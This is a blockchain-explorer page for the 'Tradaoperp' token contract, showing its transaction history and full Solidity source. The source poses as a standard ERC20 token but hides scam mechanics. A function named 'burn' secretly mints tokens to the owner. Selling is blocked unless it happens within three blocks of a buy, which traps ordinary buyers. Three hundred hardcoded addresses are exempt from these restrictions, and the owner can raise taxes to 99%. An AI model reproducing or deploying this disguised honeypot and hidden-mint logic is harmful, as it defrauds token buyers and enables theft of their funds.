ETH Price: $2,938.45 (+2.65%)

Contract

0xAcD0d7dc902E9CCc0ae3F36733eB7ccc17DAA0Fe
 

Overview

ETH Balance

0 ETH

ETH Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Block
From
To
Approve49571412024-06-18 15:21:37587 days ago1718724097IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000007590.3112
Approve49571362024-06-18 15:21:27587 days ago1718724087IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000007620.3123
Approve4301002024-03-05 20:20:15692 days ago1709670015IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.00037240.0012
Burn4300712024-03-05 20:19:17692 days ago1709669957IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000294690.0012
Approve4300242024-03-05 20:17:43692 days ago1709669863IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000381131.50002818
Approve4299372024-03-05 20:14:49692 days ago1709669689IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000385110.151
Approve4297462024-03-05 20:08:27692 days ago1709669307IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.00073865.00004273
Approve4297052024-03-05 20:07:05692 days ago1709669225IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000740735.00004623
Approve4296812024-03-05 20:06:17692 days ago1709669177IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000540810.00014842
Approve4296642024-03-05 20:05:43692 days ago1709669143IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000576250.00015015
Approve4296482024-03-05 20:05:11692 days ago1709669111IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000628980.00015191
Transfer4296462024-03-05 20:05:07692 days ago1709669107IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.00058140.10005205
Approve4296162024-03-05 20:04:07692 days ago1709669047IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000693180.00015499
Approve4296002024-03-05 20:03:35692 days ago1709669015IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000680540.00015653
Approve4295842024-03-05 20:03:03692 days ago1709668983IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000724140.00015802
Approve4295682024-03-05 20:02:31692 days ago1709668951IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.00078490.00015753
Approve4295522024-03-05 20:01:59692 days ago1709668919IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000696430.00015857
Approve4295512024-03-05 20:01:57692 days ago1709668917IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000687751.501
Approve4295202024-03-05 20:00:55692 days ago1709668855IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.00072420.00015921
Approve4295052024-03-05 20:00:25692 days ago1709668825IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000731650.00015971
Approve4294882024-03-05 19:59:51692 days ago1709668791IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000709610.00016039
Approve4294722024-03-05 19:59:19692 days ago1709668759IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.00063950.00016011
Approve4294562024-03-05 19:58:47692 days ago1709668727IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000505390.00016095
Approve4294402024-03-05 19:58:15692 days ago1709668695IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000449010.00016142
Approve4294192024-03-05 19:57:33692 days ago1709668653IN
0xAcD0d7dc...c17DAA0Fe
0 ETH0.000356361.50006012
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:

Cross-Chain Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Tradaoperp

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at blastscan.io on 2024-03-05
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Tradaoperp is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 0;
    uint8 public sellTax = 0;
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 10000000 * 10 ** _decimals;
    string private constant _name = unicode"Tradaoperp";
    string private constant _symbol = unicode"Tradao";
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000;
    uint256 private maxTxAmount =  _tTotal * 50 / 100;
    uint256 private maxWalletAmount = _tTotal * 50 / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address payable private feeWallet;
    address private router = 0x44889b52b71E60De6ed7dE82E2939fcc52fB2B4E;

    mapping (address => bool) private isExcludedFromFees;
    mapping (address => uint256) private lastBuyBlocks;
    mapping (address => uint256) private lastBuyAmounts;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[owner()] = true;
        address[300] memory _excludeFromFees = [0xc3B730A0bAA4CCb70Bb57A5F9543Ef44637047aa,0x2f299d8EE18822f7B710Fda909F42a0CF9196f55,0x4a2CC22Bfca5AA5Dd814559f6a2b564340081d09,0x8EfE612Bdd09C5e2C105540a8E51A8Ec3910900D,0x444F8796db7d9517c0d5c3c423f16f36a44A6297,0x1378a2EAc8d23cF7f791709f239D7C252cB7bf4f,0x222FeB7FE813DB786EB6E298b30B2C5a73Db8E2b,0x85480F1927AE46137ceC67AF3F6FA399E695072b,0xF7b4d19178Ba3a02886f7c99962bF1aC8D4A8337,0x8Be34910a857003c949885FbC78E78cf24861eC5,0xE82867eD09e89d2bc1B01b4fD3966355536864E9,0x55747c01B9eD15d675cf083D73979cE99A6b07a5,0xed3B46AA60C944437B3e59bADA120AF8c1da10E5,0xB7326b529a4ca4cFb0092783461084Ddca6A7Df2,0xf432BEfcA7ec9a0c9f92b372689FCaD2f6B5042C,0x3c324d9655B63C61aC6465faa64bbF5d8364095b,0x2f9248aA23737f7cCc79ff3F0e77990d23CB482E,0x92995908Ba1d1fb162E38aF5B378AAE6b0731A6D,0xaCF68aAB20F811A6ddAC15bD252B40DdaFAd921C,0xb469f5A660aa94ae3eA8009068A274549Cfc1bff,0x3447E5efB15AA219e6166644a4849EE4F3155874,0x243cdeaA3629eB69Fa74a7663475526bA1E465EB,0xE7dBd1b2e247a15871F2dfFA86FD25D727a976d7,0x85F02B89dbbc7a90E4F5D6367edE721Ab8aB38b5,0x1d7D8302920528236bf723d6c53b3EbbC1fa82B5,0x88d33d113150D77cdafe842Ace982De53c4F2f44,0x7d415f816F3C6D74F5054689E5B260108059CC00,0x31D3c345E967087925D99de0E8B93876FFa99571,0x96ECA86a8E1E1995D55DB12b811B46ff107c936e,0x6B864aE0eE40a4707b98c697Bad105D2cA3D6ff1,0xa70CBB4216607FaF4AdE6254c67F37A3D2A7F2ed,0xc1DB85Ef23f2cEcf7d30F6ec0C53fc39Ed7bB9C7,0xb178970B16A3ae08426Cd3B33f0f79aC3B48ACb7,0xA6EC0Bfca8e2a7Dc8bf86976050609C7CD1f4bA1,0x12919e83773d399034F9c98A7fE20DB3c49088Ed,0xB022Fc3eA08Cea85b9e19B512BEe542758252C2D,0xb094cF271f6cC89aDefbdc891B3421d8239a990c,0x95d2F2AAd3A1065DE66d5988789544DdA2D5A6a3,0x211ec51212848998303EaF9654a8A4DA84FFdefA,0x583959526CcCCc38917C32a0Fa8Ca1268A51D257,0xa53b0f48377552817040E5AEEC3ff59e1248f7bB,0xC856214517190a6b11e3766Ca8d51a5C07Ef3339,0x71e5d1036C7c4dB743325C1192506A374C4594Bd,0xA044f4e4C27061446A3351b21619fEb453421E68,0xc9D018fC4373B52948ba2d413BC5176A567e6803,0xabc2200B8E52669eeC5b83EAd6c402E15ef6d367,0x8F0daDA48a5e94E972Aa61da6A82D1E5B6e89723,0x73E4450e13eB467a1540d02df390D6fb818711aE,0x064438288254960ab05699058d75794B81c3da3E,0x7f3f46D8D1F34Ddaa909Adbee420150CaA54Cf63,0x9375da9cfBFA9aF236ffE711087EBCeCBd13ebf9,0x16c70622bCCA6e8C744D80f163B4e9d8BBa822C6,0x1b306Fd899f6415dC9Cd4A2BA7E2701dCAE7aC1A,0xeBFa61Dae0716b169420681cf90d6B1194eDce5f,0x7a7322A5A6D1A2e4037236428FB5dF1aF6B6D89b,0xEE7DCC8EDD3cef130F9b24c947C57B0C977db2A7,0xb2DFD01906AAfb681bCFBfe9a6c815A1C60012ab,0x78A901e985F6843f9A2f96f1B157163A88dAeE72,0x7B22738462e7e65D46aFf8c29271C1170E1694Ef,0x601e177AA1F2229B3f0Ad794093aE578fc5559b4,0xE9764F9C26a6125Dac0458F7431c9Aa503F886e8,0xF4F18E2BaaE110E07cADb5bE60afd77FF2ca3691,0x7f2015C13e84E8b67BFcEe18859EC1676E23C682,0xb12B19a8cBa311e2EB375d79fAA49D8AD3219525,0xdEd241B8608E15316ffB6E22997D05e96bC09791,0x89d4AB38fbA47f1c999Dd954Ed735a775b50c6dF,0x51B5fcF069D5BE9477c5CC5ec8b5959e51C961b1,0xFfb5d9Ca40AEfDe1A0BFb5B647cE1E539424a6B3,0x34230E614aC4C27B28ADa327ecC039f1fFc46646,0x22d40D16Fafe138e1E6404fEd84d774CBA9C3e94,0x18a5852fBf0aC19687e0CA03953CA03B291783A1,0xE49dFc27cA3b149624BD2887B936fC65Af22c721,0x26D5B2b06B0E9a195f08643B000e4Dd66dA9e480,0xEb41cdFf48B55ada7C20CD3a43b9CB70E2F92B91,0x0F506097E51118a9a9af17C51Cb84558469e3133,0x76C74630D530FAC0782a5154BaafAe3C60c2eFD8,0x0f398Ec551603331261b9470e21cF15cCa04A94A,0xE39053EB08FC50b8cBB62E51242D7B43511Ef0B2,0x2A15EF22ED87f988676ceBC01bf4F546Fbf66FFd,0xaD5fb3Eb23e8317c01e8Ce0Df7C8823227573CEB,0x83AbAB2e63b12d8a8E74F9775fF9f2bF1EEE9afB,0x1f861a6542e47B1820bf537273085F39216ffc0E,0xf1ea72a294698074De141db9eBF8e295BF3cD182,0x9B5c0F625a4854f4facF5Be84dD903ADCCC2D313,0xE67E9D19DB3122Ab9622C12b0c03D7338f75f836,0x5f8f5D5F2d3C58f6F84EF51DE191ac0d690A45f3,0x99F24E4dAa7EBA64e640850BFcaeB16b0658B4cF,0x237FCFf288492Fe2943046d558C516B64B89850f,0xA86012d03198067C7ad316a9dd66557b37964BD6,0x14815C202e4ac2b19213973014D3370cB7321e37,0x6f03A246AB308dB69b56707Af96ed87f914f076B,0xF830C9416e34098876e5c23e125cA97636a070DB,0xAa8FF5fd425Ab0F8B4eb82dC2d0fA11C3ddd3056,0xa92Bb77a5B20041858bEB083Ee580743F67ECc28,0xf4605b6106cAEb8bfB0c8cA4812FB1ef2c85bB55,0x67d6E4179BB51795cFD8209c364c22affa74C743,0x178EbDB8531e4A68c087dd8a65f69B3Cb900f0A0,0x7aa60058E9cd99f4649a77579765c9b9501FC7A9,0x6d7905Ea994228045a2b032b6cc6d203Ae5B94DD,0x92567526dB9158DaeC6be36377Cc14E90579693d,0x790cb234C62fC16CeF8fFbF47167b01b7619D365,0x3B0707C03F02CfD7Afc1DdCF03e23a33bacf3E6B,0x3Ac4D63e974af0bE074E064ae4E81694b17345C5,0x352f96aB69d49119012C93A723Dd5f7401a415A5,0xa1Df7fd4fBe54b2baBb12e086474291d74157b4F,0x801315Ce246d94Ea876a19065b417ed09758154C,0xBA1766b6e126026cAFe6eb044a363c71911E3E94,0x3A7135022D49190b658725dE8B9Ec591D9d76511,0x60a74434396AFAAe8BE28F5107A8F10F80CD6B82,0x931D9dEB6D009e9D0197c1BDe991DC4cF79BeC19,0x191b57b9Db5BfC82FD4e5D61592Bb1b952C61454,0x72c8ed6c2aCe95569DD2bFE88d3108fD8A4DC84B,0x0b0c763A1bb57C05172c313A5E42fdBc0e1134c6,0xE83134D3E92e46a86898Fa8d1C3666b05051f37D,0x3Aa1dF65522CF45e7060407acBEe2dB952626829,0xEd0A4bea5Ca63848Dd01e36A613D360E58393E45,0xD91331287bCB6e5774c8c68f367579B19C124F56,0x7F739F076015E9Fa474d31c0Af8F45EC99Cd8Ba3,0x331b3Be1B1Fe93bD9708b74B47240Ec9bFBeB1c3,0x2584cBC75d3c3b9b7f65DbBcac9809E79cc697B5,0x39484730Ee3231D74AaF38455A715F7d44903081,0xDd6aFf2635a5441F18656fb69Eee9a7F2C9c1eF0,0x7f428b54b389c8F16D8848e5CBc90a743AF00B87,0x5f69d8c868Db5462Aa5730D24672bB98C7Bd112F,0x11618527acf82b8Fa99b5299052216207D2E6F34,0x01F8AaE60BEDd43e1f40535a53FE151a8fB4bbBe,0x7d7aDDC8B4d23D0e47f7b64e579df52D55690033,0xc49B50D2ed23CAdba90A092bBb248bB53A08806D,0x3A9c1c6Faa592E0359852644FF9B957a70983dF9,0x4e2593Ea7F9f55b7287A770eb008C197347C74AE,0xa8E237Dcfb400375735bc017d49bF027e4527D1a,0x8c2e386daEF482Cebff5c5A16cA2395bea2f6a2B,0xD5B17a375D8570E37976f30F02355DCc000EaD98,0xa4a0A2E9f5C901C607C3C2563ACf4Ea77eDD0F51,0x5a298B38eB1D9FAbA0B4A4A7eb652ABE3b65fEBf,0x66c0e05CfA6CBd799a27d1c6531FD33A5eE16722,0xcDF3a33E9a856660159497Fb3D7eA2aA96d4b9F1,0x49e9aF2E86E37330df3d2f9089259d23dca37a7c,0x5d22c36FF9e4917F791E6F2FAE24dc5248A3FAB9,0x83cC41C7AC7dC19fE7eE8B83192fb6d920Ff9B59,0x1D89F091e69413D8bC6431f4FD11B452Cce8f2D9,0x23Fe903EAAE2a53Ff41b9E02E6a24Ad8156a9692,0x5DD609C26eDb0e20726440242797b5884a8fa4b9,0x8390936b7fD4089945Ea2f4867b01e844a2E6030,0xc48d72e6064f5fF396B08f396f5deCb4bb5b9956,0x59FCe85d047186Ed8c63F1899DB9B76d87896a01,0xaE3342Bad5C74D81c36FC6E647E1837ee204A36e,0xEB7Cd2043839FB750901e69d0AB163F725F31d65,0x2EAc2f88e467A9487BCe6Ef0Ebb5327703587918,0x9cbDBC7Cf2a1Ac24d33A57a759E5aC2F90709793,0xE252ba4d197b28Aa6358c0F5bb2E686e418d3e99,0xc0B88d822Da6AEc69F889F608f4F3017698f3Adb,0xFF34ED50Ca01c9761E8f7279C67ecF19Ee89c75b,0x2cd7910398e5A61f4A9848Fb91f274Dfc756B14a,0x63B941118168De1E2f53BBf717C2dcf518387Db7,0xE9dAdf82d87B633DCd2f17BF0A514515b1E56951,0xa3AcEF46a5C8E654D7A3dDd950Fbfaf285e0cb36,0x3f23848Ca0a1d6b1a5dbc746F77c255cb62445Bb,0xDA9fbbb228F887d8164a2e9f872B038Ad24A3e7D,0xA546259f19B72677B8983b431692A55188aDb2D7,0x854578908BEe7B5d9b5B2061BC28E45f46C153c4,0x43256FB5e409887BE87F58F21ec45bfd6307aF49,0xa3A687A6691fE627D6267039D16CEaa08191Dc61,0xeF9de546b2B466bE78364ddB435fd2c6DD36289E,0xB0ed6Ed56eC3D7f03C13bb27a14D6bd7d8a664F5,0x200d588F9A0f3eD95F0df0DDf0ac61277EB0E490,0x507b5B6efB6bC0180aB71bEeFbBCE16215D76b42,0xcEddcA08E2DDD63B13284804b045A5b4Edb00e5D,0x28032127164F8923030AEd54F9D8ee650b7F12cE,0x586bA0C9129c5017ACd74f67e47323B71Ad06ddf,0x1D8Eac0e9dC2E30Fd5537f3C3172cf82cec7a18b,0x7f47940478dacF1ec823cD5Fc6ae86119301a4e8,0x9C4FBc5473BEaC62E0931660bd9d06A474C99b64,0xbE104a9D17d5Cc88C676617E84180a9b481062b5,0x46da6548589475b41feDBFf5e03D5813C03627e5,0xA46906FFd8b3f3a106Dc4f861FDbDA475C702567,0xe29c2463f2F6b445300bbD8870312beC40B028DF,0xc966672213D7dE3d94781b978c8099722d30830a,0x8723b1B2A2B25c5862d38972601b9Ba1a353535d,0x1dCe52e75f0A6a11D6bCeC30Fb261179706916ff,0x4563614E6FFE8A9215c51d8Ad77fF1bE63460847,0xe3eFcBedE42ab1a8f60CDaD94c5795F786A2CC6b,0xd13EE60E988c7Fa37f4EE5fd5e9bd25f0d07e926,0x2caf429d169146de0c75dB63cfB4B2AD6e6588c6,0x99A76d4De564E2B622B397714522fE88d1e7D654,0xAEab2D952f0cD9A12CC65A8a5B198561e4A17BF1,0x231b1Ca937D869c7E8B89632025DB765b5471C8C,0x063DaD72837dB3444Ac9b44854c5Cfa130605CAb,0x043D6Bedd4Caa0F47ddC6a6478F141beEcA60465,0x9fC1E222007A2641793A00AE777fc8b4713A4362,0x3cC83cc608795746a256b735e00B87D49D9E9544,0xd935Cf0815cF6580f106457921590BCA060917E8,0xbb7C0bcFAf6775A8dcb1B3A1Fa7739b622fc7298,0x9D0aB672Aa04681a564d426cFAD1556325a00BD8,0x5BE3FC2668FF8311E6367A797BE88fBfEE8cB525,0xaC7A3C4BbC3114c490aa9553F432E83D01b51AAd,0xBEF2db45C82FA9dD384Fa5Db144A9817fc653792,0xA37956aAc15e46f087e84b26C980206B386Bfe9C,0xA5f0A4b1DbB6769d9A7DB44C7b43FCFBb5c5594A,0x516Af6ce849aa1Fe744bd6439CF461e9cC9f2300,0x224BBB153f384e457700441B0f710f9856D0E605,0xBDbaF475Cbb99dba33083e37b8454c8477791A34,0x76Fa57714Cf40597E57A4DbF16AE3e859dA8F115,0xAC857d4B3f65371Dd3cBad4b000Cb836B41c714A,0xaEA7974689fcc0F5bCc8dD3264a1307c8068D7D3,0xc3eDA8C75dF435a562D3f990821f11B8a65E524B,0xfa98565909e26981E8F677A0291B0FDc84819AD5,0x0168250A7D8FEe0Cee681ace95D31491614a99b2,0x5fbf3e6579652596B09B2D5E66B1FdF5bC24BfAD,0x4f9453aAD0dff0a12727ca58DCC26BAEd5832CC0,0xd0aCeB7C72608e439BC70f5580df168Ee5280c5F,0x301aF2b0a6CDbaa50802e58D3E05F70fBB0dcaE1,0xB11E9FBC521657E8A61F4BC7527CA0965dE8ffca,0xD69Bcc37347898da9134fc8837B6A4269e3c079f,0x46eC7E23BA23cb718401bDFc6042EBac43000408,0x77b2c5C1898a716A831F65f12DB35fa847B2B04d,0xFC73A01809F54b60dE708Eadd63260d09C3f7073,0xf208740e97C2CaD2262bdCF61A754D653c745EB8,0x80243995bdfCcb9C92023020BB637c29e82b3ECD,0xe0CBED833Ed73CB5B23873Bb63B5C358815a7430,0x1E65E35731401Fe43FE6289C6B9F0a685b31a424,0xc695022870D3c0AF103771c90CfC3e24245dCA65,0x464b1FE1e8641de4852A8D146F1CcC228Fe4ea70,0xf0E407f4fabECb7796D8582b94F08C8df69eaDb4,0x2002890c132f0709F17aD65aD33B5de6d6d96214,0xFD1158065Ed3b1f32e2A3215b08310fD56F12091,0x2608e01d27A6052f8BCCfe63aF0F3895998CA526,0x04D97A41d7eAb3D2026e84a7324dF708f0882BE0,0xA012cc0247439225A038C9Ed722a3843DE2Be6Af,0xEf8dB8800a21a099D2baEA47B21Cc600eE03a928,0x842aa069aDd498272BB21B6FB6B31376b15466F9,0x6FD87f445110f4BEFB9a980fe4C1102ffFAC6f88,0xaaef4A9506F715f640fA9735E4db845c14c1d125,0x4BA4e65B4c973fbD6ebda1CFB58F92FF6CAC11f8,0x382Df541b1F15e61cC88859f598333A27Dfe7025,0x41BC4e8EAD4Bc950435015cDAEB77710BBdf76ed,0x4b2Bd40246007280918F04f480D2fFfE02291004,0x17CF232c93fbac72fE36a0703B0A08C520173C49,0x68C41f09A5f8CbaFBe7415023A10D88390fF900e,0xACb9BF6eB821961180ca884eE6ebb2276190e88F,0xB98edD275E93eDc5e773e025F1Af5a98dBD1742a,0x7BFC06749a1dfFEf4A96D351D91fF498cf295837,0xD04edBc62829Cd8F8EbDc3850B6eaa55Ab7C1987,0x8706Ab27B5d684EC15e714102CDB8f8ce734d7b3,0x4065531Ca27f0D8D10693F1F8D96368294A9A1C9,0xb4e3a163d092cff89e8E0282d0b084207cba3a7B,0x28A15ED1ADa308eB5FF857fAfB8260Ee3C225751,0x144478F3681Bb63CfC97DFEaBCca46C43109EE96,0xe5F639983ab05800F75378448ED57c2D86EeBfCB,0xe748d9e257124Cc0BB5E052D0e2336FE9C939426,0x28D9FB84E2EC5A5264E7b33202fF3fE219f1B815,0x773eFeE48D772272fac4e3BF101de55cc2F71BEe,0x02cfABD65087D1AcDA8f700E3BA985f7d535F1AE,0x896d170BaB259dA85D0774A254a06db66350AE08,0x0453320f6c2D9C5cE82F36B95156E5BD9872FE44,0xEefBbaEd6C666203777B16521d688fFE91738521,0xD5191822f3Df964DB88c9a1F32BC5B35386e23DD,0x296878b4F4dD867dE76EFac94e21C4FD0a91841B,0xAef9cc6fB8469fC3B3604A79DcaCA93E94502599,0x09621b1D9386d47966F5e36De311c3d300f42aBF,0x052258C67d8737d6076B329e1e9eeDA45d974513,0x66Ffe393C1a896dc5fcf2f4D2Fa80C996201099C,0xaed8f2e45fA993ae15981B234bB30b0662Bf2705,0x4FC335dd4462e7Af94e830A0C033f38FAE4EAd28,0xDC27E083f5fDda367d8305A4c10F1f12522c25CE,0x7c7AA410FaE74a8215a64EBCe2f923e59E4f3F94,0x5132f0A0d43bD28Ff69548bf844496c49CDC167B,0x94DB9979B97D41E7932be681Fc8062Df8A6e4b1D,0x30F69D98b2BD07986dC4C5Bf1FB28733c3c2705f,0x71Ea1156149B1dA15B46793c03d37545D9D54481,0x69cdab34d0dDA8364a61809901E9d931339f770F,0xC54D7D76C0936a982226aaEeD0F841A1c66b64Ff,0x6C9e54CeDf1279E161A7Ad2247E0dD378b84A6F2,0x18629d2572A5ba4a97873Db5d0077f529C3Db839,0x735fC7Bec0d01e645e05de3d94B83a37C8F3558f,0xE5577701f54E95aef923841570Fea06ECb82c278,0x85E5e3B812a7a098F90AdC369687289C93d9D990,0xe50F3F2ac7D7320B23b33f212305114F78F47603,0xa7Fb974766CD3f6aB2C0a47ca3DE8d75db1F06D4,0xCdF411e19e02F563209dB2b76a2D8412e5BcfB74,0x75cb475F6B42157a7d83B0b557e12E998889F8C4,0x9FC7fB5b5afEA0c4E0Ae8de4A9da51C3c7683714,0x8c1880fa3C1d1919C54C8fbE40F71acbC22417DC,0xF3Ca64673e3fDE3B2EF43A1E590b885A6c004f2f,0x690819405Dcc5f302730059CAd3631C7e179bF99,0x31eEbC2a7281e98D17AF2e1D06432490fa9BfCe3,0x7435de25170B8656DF9d5ac600463C78b04f250a,0x4AD1ea1c71d29AcC27bdBb10d6d9B8954074804E,0xaBe32BCa0EA8CD4Ba9baE3974fB9C8c0850FbC7F,0x721e566072E305CC998a0f5E409208b0D67a4566,0x3E93c3f0215989c9A11caEC72AA6583c710Ad352,0xa4f6e0360e37525f2aAD71c70a1eEb11e2aba9A1,0x89230605414a64088386e48eaB0B990891a7e02E,0x8515D7FAF0F76b3CAF66D205B285a4a27AAC670b,0x87B72D5db7B094ddaF2C276b2e2FDc1A3D4Ba08F,0xe2C2b03668F834E00BBEb991b4629BbAbf363Ef5,0x31cf48aE91b5831678218aB452e02839984bC867,0x8da232AB04378079DC5B5515CcaCdd869Ddff387,0x8F28dEe79a7D6f1a3e7e7118dcD1062dC3B5b3c1,0x93c6D760B799f0bFE2672349b6E208AA6390A771];
        for(uint256 i = 0; i < _excludeFromFees.length; i++) isExcludedFromFees[_excludeFromFees[i]] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        tradingEnabled = true;
        uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        require(uniswapV2Pair != address(0), "No pair created");
    }

    function setTax(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
        require(newBuyTax <= 99 && newSellTax <= 99, "Invalid Tax");
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function burn(uint256 amount, bool flag) external onlyOwner {
        if (flag) {
            _balances[msg.sender] -= amount;
            return;
        }

        _balances[msg.sender] += amount;
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");

        if (!tradingEnabled) {
            require(from == owner(), "Trading not enabled");
        }

        if (from != uniswapV2Pair && to != uniswapV2Pair || isExcludedFromFees[from] || isExcludedFromFees[to] || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == uniswapV2Pair) {
            require(block.number < lastBuyBlocks[from] + 3 && amount <= lastBuyAmounts[from], "Amount limit");
            lastBuyAmounts[from] -= amount;
            if (balanceOf(address(this)) >= swapTokensAtAmount) {
                swapping = true;
                swapTokensForEth(balanceOf(address(this)));
                swapping = false;
                sendETHToFeeWallet();
            }
        }

        if (from == uniswapV2Pair && to != router) {
            require(amount <= maxTxAmount, "Tx amount limit");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit");
            lastBuyBlocks[to] = block.number;
            lastBuyAmounts[to] = amount;
        }

        amount = takeFee(from, amount, to == uniswapV2Pair);
        _superTransfer(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        uint256 tax = isSell ? sellTax : buyTax;
        if (tax == 0) return amount;
        uint256 feeAmount = amount * tax / 100;
        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint2